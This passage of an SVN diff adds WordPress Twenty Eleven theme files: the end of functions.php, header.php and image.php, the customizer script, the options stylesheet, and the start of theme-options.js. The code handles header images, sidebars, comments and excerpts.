+		define( 'HEADER_IMAGE_WIDTH', $custom_header_support['width'] );
+		define( 'HEADER_IMAGE_HEIGHT', $custom_header_support['height'] );
+		add_custom_image_header( $custom_header_support['wp-head-callback'], $custom_header_support['admin-head-callback'], $custom_header_support['admin-preview-callback'] );
+		add_custom_background();
+	}
+
+	/*
+	 * We'll be using post thumbnails for custom header images on posts and pages.
+	 * We want them to be the size of the header image that we just defined.
+	 * Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php.
+	 */
+	set_post_thumbnail_size( $custom_header_support['width'], $custom_header_support['height'], true );
+
+	/*
+	 * Add Twenty Eleven's custom image sizes.
+	 * Used for large feature (header) images.
+	 */
+	add_image_size( 'large-feature', $custom_header_support['width'], $custom_header_support['height'], true );
+	// Used for featured posts if a large-feature doesn't exist.
+	add_image_size( 'small-feature', 500, 300 );
+
+	// Default custom headers packaged with the theme. %s is a placeholder for the theme template directory URI.
+	register_default_headers( array(
+		'wheel' => array(
+			'url' => '%s/images/headers/wheel.jpg',
+			'thumbnail_url' => '%s/images/headers/wheel-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Wheel', 'twentyeleven' )
+		),
+		'shore' => array(
+			'url' => '%s/images/headers/shore.jpg',
+			'thumbnail_url' => '%s/images/headers/shore-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Shore', 'twentyeleven' )
+		),
+		'trolley' => array(
+			'url' => '%s/images/headers/trolley.jpg',
+			'thumbnail_url' => '%s/images/headers/trolley-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Trolley', 'twentyeleven' )
+		),
+		'pine-cone' => array(
+			'url' => '%s/images/headers/pine-cone.jpg',
+			'thumbnail_url' => '%s/images/headers/pine-cone-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Pine Cone', 'twentyeleven' )
+		),
+		'chessboard' => array(
+			'url' => '%s/images/headers/chessboard.jpg',
+			'thumbnail_url' => '%s/images/headers/chessboard-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Chessboard', 'twentyeleven' )
+		),
+		'lanterns' => array(
+			'url' => '%s/images/headers/lanterns.jpg',
+			'thumbnail_url' => '%s/images/headers/lanterns-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Lanterns', 'twentyeleven' )
+		),
+		'willow' => array(
+			'url' => '%s/images/headers/willow.jpg',
+			'thumbnail_url' => '%s/images/headers/willow-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Willow', 'twentyeleven' )
+		),
+		'hanoi' => array(
+			'url' => '%s/images/headers/hanoi.jpg',
+			'thumbnail_url' => '%s/images/headers/hanoi-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Hanoi Plant', 'twentyeleven' )
+		)
+	) );
+}
+endif; // twentyeleven_setup
+
+if ( ! function_exists( 'twentyeleven_header_style' ) ) :
+/**
+ * Styles the header image and text displayed on the blog.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_header_style() {
+	$text_color = get_header_textcolor();
+
+	// If no custom options for text are set, let's bail.
+	if ( $text_color == HEADER_TEXTCOLOR )
+		return;
+
+	// If we get this far, we have custom styles. Let's do this.
+	?>
+	<style type="text/css" id="twentyeleven-header-css">
+	<?php
+		// Has the text been hidden?
+		if ( 'blank' == $text_color ) :
+	?>
+		#site-title,
+		#site-description {
+			position: absolute !important;
+			clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
+			clip: rect(1px, 1px, 1px, 1px);
+		}
+	<?php
+		// If the user has set a custom color for the text use that
+		else :
+	?>
+		#site-title a,
+		#site-description {
+			color: #<?php echo $text_color; ?> !important;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+endif; // twentyeleven_header_style
+
+if ( ! function_exists( 'twentyeleven_admin_header_style' ) ) :
+/**
+ * Styles the header image displayed on the Appearance > Header admin panel.
+ *
+ * Referenced via add_theme_support('custom-header') in twentyeleven_setup().
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_admin_header_style() {
+?>
+	<style type="text/css" id="twentyeleven-admin-header-css">
+	.appearance_page_custom-header #headimg {
+		border: none;
+	}
+	#headimg h1,
+	#desc {
+		font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+	}
+	#headimg h1 {
+		margin: 0;
+	}
+	#headimg h1 a {
+		font-size: 32px;
+		line-height: 36px;
+		text-decoration: none;
+	}
+	#desc {
+		font-size: 14px;
+		line-height: 23px;
+		padding: 0 0 3em;
+	}
+	<?php
+		// If the user has set a custom color for the text use that
+		if ( get_header_textcolor() != HEADER_TEXTCOLOR ) :
+	?>
+		#site-title a,
+		#site-description {
+			color: #<?php echo get_header_textcolor(); ?>;
+		}
+	<?php endif; ?>
+	#headimg img {
+		max-width: 1000px;
+		height: auto;
+		width: 100%;
+	}
+	</style>
+<?php
+}
+endif; // twentyeleven_admin_header_style
+
+if ( ! function_exists( 'twentyeleven_admin_header_image' ) ) :
+/**
+ * Custom header image markup displayed on the Appearance > Header admin panel.
+ *
+ * Referenced via add_theme_support('custom-header') in twentyeleven_setup().
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_admin_header_image() { ?>
+	<div id="headimg">
+		<?php
+		$color = get_header_textcolor();
+		$image = get_header_image();
+		if ( $color && $color != 'blank' )
+			$style = ' style="color:#' . $color . '"';
+		else
+			$style = ' style="display:none"';
+		?>
+		<h1 class="displaying-header-text"><a id="name"<?php echo $style; ?> onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+		<div id="desc" class="displaying-header-text"<?php echo $style; ?>><?php bloginfo( 'description' ); ?></div>
+		<?php if ( $image ) : ?>
+			<img src="<?php echo esc_url( $image ); ?>" alt="" />
+		<?php endif; ?>
+	</div>
+<?php }
+endif; // twentyeleven_admin_header_image
+
+/**
+ * Set the post excerpt length to 40 words.
+ *
+ * To override this length in a child theme, remove
+ * the filter and add your own function tied to
+ * the excerpt_length filter hook.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param int $length The number of excerpt characters.
+ * @return int The filtered number of characters.
+ */
+function twentyeleven_excerpt_length( $length ) {
+	return 40;
+}
+add_filter( 'excerpt_length', 'twentyeleven_excerpt_length' );
+
+if ( ! function_exists( 'twentyeleven_continue_reading_link' ) ) :
+/**
+ * Return a "Continue Reading" link for excerpts
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @return string The "Continue Reading" HTML link.
+ */
+function twentyeleven_continue_reading_link() {
+	return ' <a href="'. esc_url( get_permalink() ) . '">' . __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) . '</a>';
+}
+endif; // twentyeleven_continue_reading_link
+
+/**
+ * Replace "[...]" in the Read More link with an ellipsis.
+ *
+ * The "[...]" is appended to automatically generated excerpts.
+ *
+ * To override this in a child theme, remove the filter and add your own
+ * function tied to the excerpt_more filter hook.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $more The Read More text.
+ * @return The filtered Read More text.
+ */
+function twentyeleven_auto_excerpt_more( $more ) {
+	if ( ! is_admin() ) {
+		return ' &hellip;' . twentyeleven_continue_reading_link();
+	}
+	return $more;
+}
+add_filter( 'excerpt_more', 'twentyeleven_auto_excerpt_more' );
+
+/**
+ * Add a pretty "Continue Reading" link to custom post excerpts.
+ *
+ * To override this link in a child theme, remove the filter and add your own
+ * function tied to the get_the_excerpt filter hook.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $output The "Continue Reading" link.
+ * @return string The filtered "Continue Reading" link.
+ */
+function twentyeleven_custom_excerpt_more( $output ) {
+	if ( has_excerpt() && ! is_attachment() && ! is_admin() ) {
+		$output .= twentyeleven_continue_reading_link();
+	}
+	return $output;
+}
+add_filter( 'get_the_excerpt', 'twentyeleven_custom_excerpt_more' );
+
+/**
+ * Show a home link for the wp_nav_menu() fallback, wp_page_menu().
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param array $args The page menu arguments. @see wp_page_menu()
+ * @return array The filtered page menu arguments.
+ */
+function twentyeleven_page_menu_args( $args ) {
+	if ( ! isset( $args['show_home'] ) )
+		$args['show_home'] = true;
+	return $args;
+}
+add_filter( 'wp_page_menu_args', 'twentyeleven_page_menu_args' );
+
+/**
+ * Register sidebars and widgetized areas.
+ *
+ * Also register the default Epherma widget.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_widgets_init() {
+
+	register_widget( 'Twenty_Eleven_Ephemera_Widget' );
+
+	register_sidebar( array(
+		'name' => __( 'Main Sidebar', 'twentyeleven' ),
+		'id' => 'sidebar-1',
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => "</aside>",
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Showcase Sidebar', 'twentyeleven' ),
+		'id' => 'sidebar-2',
+		'description' => __( 'The sidebar for the optional Showcase Template', 'twentyeleven' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => "</aside>",
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Footer Area One', 'twentyeleven' ),
+		'id' => 'sidebar-3',
+		'description' => __( 'An optional widget area for your site footer', 'twentyeleven' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => "</aside>",
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Footer Area Two', 'twentyeleven' ),
+		'id' => 'sidebar-4',
+		'description' => __( 'An optional widget area for your site footer', 'twentyeleven' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => "</aside>",
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Footer Area Three', 'twentyeleven' ),
+		'id' => 'sidebar-5',
+		'description' => __( 'An optional widget area for your site footer', 'twentyeleven' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => "</aside>",
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+}
+add_action( 'widgets_init', 'twentyeleven_widgets_init' );
+
+if ( ! function_exists( 'twentyeleven_content_nav' ) ) :
+/**
+ * Display navigation to next/previous pages when applicable.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $html_id The HTML id attribute.
+ */
+function twentyeleven_content_nav( $html_id ) {
+	global $wp_query;
+
+	if ( $wp_query->max_num_pages > 1 ) : ?>
+		<nav id="<?php echo esc_attr( $html_id ); ?>">
+			<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentyeleven' ); ?></h3>
+			<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyeleven' ) ); ?></div>
+			<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?></div>
+		</nav><!-- #nav-above -->
+	<?php endif;
+}
+endif; // twentyeleven_content_nav
+
+/**
+ * Return the first link from the post content. If none found, the
+ * post permalink is used as a fallback.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @uses get_url_in_content() to get the first URL from the post content.
+ *
+ * @return string The first link.
+ */
+function twentyeleven_get_first_url() {
+	$content = get_the_content();
+	$has_url = function_exists( 'get_url_in_content' ) ? get_url_in_content( $content ) : false;
+
+	if ( ! $has_url )
+		$has_url = twentyeleven_url_grabber();
+
+	/** This filter is documented in wp-includes/link-template.php */
+	return ( $has_url ) ? $has_url : apply_filters( 'the_permalink', get_permalink() );
+}
+
+/**
+ * Return the URL for the first link found in the post content.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @return string|bool URL or false when no link is present.
+ */
+function twentyeleven_url_grabber() {
+	if ( ! preg_match( '/<a\s[^>]*?href=[\'"](.+?)[\'"]/is', get_the_content(), $matches ) )
+		return false;
+
+	return esc_url_raw( $matches[1] );
+}
+
+/**
+ * Count the number of footer sidebars to enable dynamic classes for the footer.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_footer_sidebar_class() {
+	$count = 0;
+
+	if ( is_active_sidebar( 'sidebar-3' ) )
+		$count++;
+
+	if ( is_active_sidebar( 'sidebar-4' ) )
+		$count++;
+
+	if ( is_active_sidebar( 'sidebar-5' ) )
+		$count++;
+
+	$class = '';
+
+	switch ( $count ) {
+		case '1':
+			$class = 'one';
+			break;
+		case '2':
+			$class = 'two';
+			break;
+		case '3':
+			$class = 'three';
+			break;
+	}
+
+	if ( $class )
+		echo 'class="' . $class . '"';
+}
+
+if ( ! function_exists( 'twentyeleven_comment' ) ) :
+/**
+ * Template for comments and pingbacks.
+ *
+ * To override this walker in a child theme without modifying the comments template
+ * simply create your own twentyeleven_comment(), and that function will be used instead.
+ *
+ * Used as a callback by wp_list_comments() for displaying the comments.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param object $comment The comment object.
+ * @param array  $args    An array of comment arguments. @see get_comment_reply_link()
+ * @param int    $depth   The depth of the comment.
+ */
+function twentyeleven_comment( $comment, $args, $depth ) {
+	$GLOBALS['comment'] = $comment;
+	switch ( $comment->comment_type ) :
+		case 'pingback' :
+		case 'trackback' :
+	?>
+	<li class="post pingback">
+		<p><?php _e( 'Pingback:', 'twentyeleven' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?></p>
+	<?php
+			break;
+		default :
+	?>
+	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
+		<article id="comment-<?php comment_ID(); ?>" class="comment">
+			<footer class="comment-meta">
+				<div class="comment-author vcard">
+					<?php
+						$avatar_size = 68;
+						if ( '0' != $comment->comment_parent )
+							$avatar_size = 39;
+
+						echo get_avatar( $comment, $avatar_size );
+
+						/* translators: 1: comment author, 2: date and time */
+						printf( __( '%1$s on %2$s <span class="says">said:</span>', 'twentyeleven' ),
+							sprintf( '<span class="fn">%s</span>', get_comment_author_link() ),
+							sprintf( '<a href="%1$s"><time datetime="%2$s">%3$s</time></a>',
+								esc_url( get_comment_link( $comment->comment_ID ) ),
+								get_comment_time( 'c' ),
+								/* translators: 1: date, 2: time */
+								sprintf( __( '%1$s at %2$s', 'twentyeleven' ), get_comment_date(), get_comment_time() )
+							)
+						);
+					?>
+
+					<?php edit_comment_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+				</div><!-- .comment-author .vcard -->
+
+				<?php if ( $comment->comment_approved == '0' ) : ?>
+					<em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentyeleven' ); ?></em>
+					<br />
+				<?php endif; ?>
+
+			</footer>
+
+			<div class="comment-content"><?php comment_text(); ?></div>
+
+			<div class="reply">
+				<?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply <span>&darr;</span>', 'twentyeleven' ), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
+			</div><!-- .reply -->
+		</article><!-- #comment-## -->
+
+	<?php
+			break;
+	endswitch;
+}
+endif; // ends check for twentyeleven_comment()
+
+if ( ! function_exists( 'twentyeleven_posted_on' ) ) :
+/**
+ * Print HTML with meta information for the current post-date/time and author.
+ *
+ * Create your own twentyeleven_posted_on to override in a child theme
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_posted_on() {
+	printf( __( '<span class="sep">Posted on </span><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a><span class="by-author"> <span class="sep"> by </span> <span class="author vcard"><a class="url fn n" href="%5$s" title="%6$s" rel="author">%7$s</a></span></span>', 'twentyeleven' ),
+		esc_url( get_permalink() ),
+		esc_attr( get_the_time() ),
+		esc_attr( get_the_date( 'c' ) ),
+		esc_html( get_the_date() ),
+		esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+		esc_attr( sprintf( __( 'View all posts by %s', 'twentyeleven' ), get_the_author() ) ),
+		get_the_author()
+	);
+}
+endif;
+
+/**
+ * Add two classes to the array of body classes.
+ *
+ * The first is if the site has only had one author with published posts.
+ * The second is if a singular post being displayed
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param array $classes Existing body classes.
+ * @return array The filtered array of body classes.
+ */
+function twentyeleven_body_classes( $classes ) {
+
+	if ( function_exists( 'is_multi_author' ) && ! is_multi_author() )
+		$classes[] = 'single-author';
+
+	if ( is_singular() && ! is_home() && ! is_page_template( 'showcase.php' ) && ! is_page_template( 'sidebar-page.php' ) )
+		$classes[] = 'singular';
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentyeleven_body_classes' );
+
+/**
+ * Retrieve the IDs for images in a gallery.
+ *
+ * @uses get_post_galleries() First, if available. Falls back to shortcode parsing,
+ *                            then as last option uses a get_posts() call.
+ *
+ * @since Twenty Eleven 1.6
+ *
+ * @return array List of image IDs from the post gallery.
+ */
+function twentyeleven_get_gallery_images() {
+	$images = array();
+
+	if ( function_exists( 'get_post_galleries' ) ) {
+		$galleries = get_post_galleries( get_the_ID(), false );
+		if ( isset( $galleries[0]['ids'] ) )
+		 	$images = explode( ',', $galleries[0]['ids'] );
+	} else {
+		$pattern = get_shortcode_regex();
+		preg_match( "/$pattern/s", get_the_content(), $match );
+		$atts = shortcode_parse_atts( $match[3] );
+		if ( isset( $atts['ids'] ) )
+			$images = explode( ',', $atts['ids'] );
+	}
+
+	if ( ! $images ) {
+		$images = get_posts( array(
+			'fields'         => 'ids',
+			'numberposts'    => 999,
+			'order'          => 'ASC',
+			'orderby'        => 'menu_order',
+			'post_mime_type' => 'image',
+			'post_parent'    => get_the_ID(),
+			'post_type'      => 'attachment',
+		) );
+	}
+
+	return $images;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/header.php	(revision 33402)
@@ -0,0 +1,145 @@
+<?php
+/**
+ * Header template for the theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?><!DOCTYPE html>
+<!--[if IE 6]>
+<html id="ie6" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 7]>
+<html id="ie7" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 8]>
+<html id="ie8" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 6) & !(IE 7) & !(IE 8)]><!-->
+<html <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+<meta charset="<?php bloginfo( 'charset' ); ?>" />
+<meta name="viewport" content="width=device-width" />
+<title><?php
+	// Print the <title> tag based on what is being viewed.
+	global $page, $paged;
+
+	wp_title( '|', true, 'right' );
+
+	// Add the blog name.
+	bloginfo( 'name' );
+
+	// Add the blog description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) )
+		echo " | $site_description";
+
+	// Add a page number if necessary:
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )
+		echo ' | ' . sprintf( __( 'Page %s', 'twentyeleven' ), max( $paged, $page ) );
+
+	?></title>
+<link rel="profile" href="http://gmpg.org/xfn/11" />
+<link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>" />
+<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
+<!--[if lt IE 9]>
+<script src="<?php echo get_template_directory_uri(); ?>/js/html5.js" type="text/javascript"></script>
+<![endif]-->
+<?php
+	/*
+	 * We add some JavaScript to pages with the comment form
+	 * to support sites with threaded comments (when in use).
+	 */
+	if ( is_singular() && get_option( 'thread_comments' ) )
+		wp_enqueue_script( 'comment-reply' );
+
+	/*
+	 * Always have wp_head() just before the closing </head>
+	 * tag of your theme, or you will break many plugins, which
+	 * generally use this hook to add elements to <head> such
+	 * as styles, scripts, and meta tags.
+	 */
+	wp_head();
+?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="hfeed">
+	<header id="branding" role="banner">
+			<hgroup>
+				<h1 id="site-title"><span><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></span></h1>
+				<h2 id="site-description"><?php bloginfo( 'description' ); ?></h2>
+			</hgroup>
+
+			<?php
+				// Check to see if the header image has been removed
+				$header_image = get_header_image();
+				if ( $header_image ) :
+					// Compatibility with versions of WordPress prior to 3.4.
+					if ( function_exists( 'get_custom_header' ) ) {
+						/*
+						 * We need to figure out what the minimum width should be for our featured image.
+						 * This result would be the suggested width if the theme were to implement flexible widths.
+						 */
+						$header_image_width = get_theme_support( 'custom-header', 'width' );
+					} else {
+						$header_image_width = HEADER_IMAGE_WIDTH;
+					}
+					?>
+			<a href="<?php echo esc_url( home_url( '/' ) ); ?>">
+				<?php
+					/*
+					 * The header image.
+					 * Check if this is a post or page, if it has a thumbnail, and if it's a big one
+					 */
+					if ( is_singular() && has_post_thumbnail( $post->ID ) &&
+							( /* $src, $width, $height */ $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), array( $header_image_width, $header_image_width ) ) ) &&
+							$image[1] >= $header_image_width ) :
+						// Houston, we have a new header image!
+						echo get_the_post_thumbnail( $post->ID, 'post-thumbnail' );
+					else :
+						// Compatibility with versions of WordPress prior to 3.4.
+						if ( function_exists( 'get_custom_header' ) ) {
+							$header_image_width  = get_custom_header()->width;
+							$header_image_height = get_custom_header()->height;
+						} else {
+							$header_image_width  = HEADER_IMAGE_WIDTH;
+							$header_image_height = HEADER_IMAGE_HEIGHT;
+						}
+						?>
+					<img src="<?php header_image(); ?>" width="<?php echo $header_image_width; ?>" height="<?php echo $header_image_height; ?>" alt="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" />
+				<?php endif; // end check for featured image or standard header ?>
+			</a>
+			<?php endif; // end check for removed header image ?>
+
+			<?php
+				// Has the text been hidden?
+				if ( 'blank' == get_header_textcolor() ) :
+			?>
+				<div class="only-search<?php if ( $header_image ) : ?> with-image<?php endif; ?>">
+				<?php get_search_form(); ?>
+				</div>
+			<?php
+				else :
+			?>
+				<?php get_search_form(); ?>
+			<?php endif; ?>
+
+			<nav id="access" role="navigation">
+				<h3 class="assistive-text"><?php _e( 'Main menu', 'twentyeleven' ); ?></h3>
+				<?php /* Allow screen readers / text browsers to skip the navigation menu and get right to the good stuff. */ ?>
+				<div class="skip-link"><a class="assistive-text" href="#content"><?php _e( 'Skip to primary content', 'twentyeleven' ); ?></a></div>
+				<?php if ( ! is_singular() ) : ?>
+					<div class="skip-link"><a class="assistive-text" href="#secondary"><?php _e( 'Skip to secondary content', 'twentyeleven' ); ?></a></div>
+				<?php endif; ?>
+				<?php /* Our navigation menu. If one isn't filled out, wp_nav_menu falls back to wp_page_menu. The menu assigned to the primary location is the one used. If one isn't assigned, the menu with the lowest ID is used. */ ?>
+				<?php wp_nav_menu( array( 'theme_location' => 'primary' ) ); ?>
+			</nav><!-- #access -->
+	</header><!-- #branding -->
+
+
+	<div id="main">
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/image.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/image.php	(revision 33402)
@@ -0,0 +1,112 @@
+<?php
+/**
+ * Template for displaying image attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<div id="primary" class="image-attachment">
+			<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+
+				<nav id="nav-single">
+					<h3 class="assistive-text"><?php _e( 'Image navigation', 'twentyeleven' ); ?></h3>
+					<span class="nav-previous"><?php previous_image_link( false, __( '&larr; Previous' , 'twentyeleven' ) ); ?></span>
+					<span class="nav-next"><?php next_image_link( false, __( 'Next &rarr;' , 'twentyeleven' ) ); ?></span>
+				</nav><!-- #nav-single -->
+
+					<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+						<header class="entry-header">
+							<h1 class="entry-title"><?php the_title(); ?></h1>
+
+							<div class="entry-meta">
+								<?php
+									$metadata = wp_get_attachment_metadata();
+									printf( __( '<span class="meta-prep meta-prep-entry-date">Published </span> <span class="entry-date"><abbr class="published" title="%1$s">%2$s</abbr></span> at <a href="%3$s" title="Link to full-size image">%4$s &times; %5$s</a> in <a href="%6$s" title="Return to %7$s" rel="gallery">%8$s</a>', 'twentyeleven' ),
+										esc_attr( get_the_time() ),
+										get_the_date(),
+										esc_url( wp_get_attachment_url() ),
+										$metadata['width'],
+										$metadata['height'],
+										esc_url( get_permalink( $post->post_parent ) ),
+										esc_attr( strip_tags( get_the_title( $post->post_parent ) ) ),
+										get_the_title( $post->post_parent )
+									);
+								?>
+								<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+							</div><!-- .entry-meta -->
+
+						</header><!-- .entry-header -->
+
+						<div class="entry-content">
+
+							<div class="entry-attachment">
+								<div class="attachment">
+<?php
+	/*
+	 * Grab the IDs of all the image attachments in a gallery so we can get the URL of the next adjacent image in a gallery,
+	 * or the first image (if we're looking at the last image in a gallery), or, in a gallery of one, just the link to that image file
+	 */
+	$attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) );
+	foreach ( $attachments as $k => $attachment ) {
+		if ( $attachment->ID == $post->ID )
+			break;
+	}
+
+	// If there is more than 1 attachment in a gallery
+	if ( count( $attachments ) > 1 ) {
+		$k++;
+		if ( isset( $attachments[ $k ] ) )
+			// get the URL of the next image attachment
+			$next_attachment_url = get_attachment_link( $attachments[ $k ]->ID );
+		else
+			// or get the URL of the first image attachment
+			$next_attachment_url = get_attachment_link( $attachments[ 0 ]->ID );
+	} else {
+		// or, if there's only 1 image, get the URL of the image
+		$next_attachment_url = wp_get_attachment_url();
+	}
+?>
+									<a href="<?php echo esc_url( $next_attachment_url ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php
+									/**
+									 * Filter the Twenty Eleven default attachment size.
+									 *
+									 * @since Twenty Eleven 1.0
+									 *
+									 * @param int The height and width attachment size dimensions in pixels. Default 848.
+									 */
+									$attachment_size = apply_filters( 'twentyeleven_attachment_size', 848 );
+									echo wp_get_attachment_image( $post->ID, array( $attachment_size, 1024 ) ); // filterable image width with 1024px limit for image height.
+									?></a>
+
+									<?php if ( ! empty( $post->post_excerpt ) ) : ?>
+									<div class="entry-caption">
+										<?php the_excerpt(); ?>
+									</div>
+									<?php endif; ?>
+								</div><!-- .attachment -->
+
+							</div><!-- .entry-attachment -->
+
+							<div class="entry-description">
+								<?php the_content(); ?>
+								<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+							</div><!-- .entry-description -->
+
+						</div><!-- .entry-content -->
+
+					</article><!-- #post-<?php the_ID(); ?> -->
+
+					<?php comments_template(); ?>
+
+				<?php endwhile; // end of the loop. ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-customizer.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-customizer.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-customizer.js	(revision 33402)
@@ -0,0 +1,12 @@
+( function( $ ){
+	wp.customize( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '#site-title a' ).text( to );
+		} );
+	} );
+	wp.customize( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '#site-description' ).text( to );
+		} );
+	} );
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-options.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-options.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-options.css	(revision 33402)
@@ -0,0 +1,35 @@
+#wpcontent select option {
+	padding-right: 5px;
+}
+.image-radio-option td {
+	padding-top: 15px;
+}
+.image-radio-option label {
+	display: block;
+	float: left;
+	margin: 0 30px 20px 2px;
+	position: relative;
+}
+.image-radio-option input {
+	margin: 0 0 10px;
+}
+.image-radio-option span {
+	display: block;
+	width: 136px;
+}
+.image-radio-option img {
+	margin: 0 0 0 -2px;
+}
+#link-color-example {
+	-moz-border-radius: 4px;
+	-webkit-border-radius: 4px;
+	border-radius: 4px;
+	border: 1px solid #dfdfdf;
+	margin: 0 7px 0 3px;
+	padding: 4px 14px;
+}
+
+body.rtl .image-radio-option label {
+	float: right;
+	margin: 0 2px 20px 30px;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-options.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-options.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-options.js	(revision 33402)
@@ -0,0 +1,52 @@
+var farbtastic;
+
+(function($){
+	var pickColor = function(a) {
+		farbtastic.setColor(a);
+		$('#link-color').val(a);
